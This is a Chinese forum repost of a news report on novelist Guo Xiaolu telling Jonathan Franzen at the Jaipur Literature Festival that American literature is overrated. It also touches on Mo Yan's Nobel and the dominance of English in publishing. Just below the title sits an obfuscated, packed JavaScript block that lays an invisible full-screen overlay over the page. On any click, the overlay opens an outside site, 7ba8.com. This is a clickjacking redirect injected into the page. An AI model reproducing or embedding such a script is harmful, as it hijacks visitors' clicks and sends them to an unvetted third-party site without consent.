郭小橹:美国文学被大大高估

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>郭小橹:美国文学被大大高估
中国作家莫言于2012年获得诺贝尔文学奖(Nobel Prize for Literature),成为首个获此殊荣的中国人。他的获奖引发了一场争论:虽然中国文学历史悠久、博大精深,但?什么中国要等这么长时间才赢得诺贝尔奖评审委员会的青睐呢?是不是因为中国作家所使用的语言不是全球通用的英语呢?
周末印度斋浦尔文学节(Jaipur Literature Festival)上,中国出生的作家郭小橹在与著名美国作家乔纳森?弗兰岑(Jonathan Franzen)进行的小组讨论中发难,指责以英语为母语的小说占据全球主流。据《华尔街日报》记者Raymond Zhong报道,目前旅居英国的郭小橹女士是讨论小组中唯一一位使用多种语言写作的作家。
郭小橹说,当她用英文写作时,她感到更加自由。她说,由于成长在中共领导下的中国,用中文写作会背上思想包袱和个人包袱。而用非母语写作赋予她一种不同的维度。
她不无悲哀地称,用英语写作是最简单也最偷懒的方式,因为你不用等待数月或数年作品被翻译后才能与全球读者见面。她说,这是一场战争。
郭小橹向弗兰岑表达了她对现在出版行业以英语文学为中心的失望之情。郭小橹对弗兰岑说:“我喜欢您的作品,但美国文学被大大高估了。”
弗兰岑于2001年凭藉小说《纠正》(The Corrections)获得美国国家图书奖(National Book Award)。弗兰岑说,他在写作时没有用全球化的语言去思考。他说:“为了达到通用性的目的而刻意追求文章的通用性是最不可取的。”
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部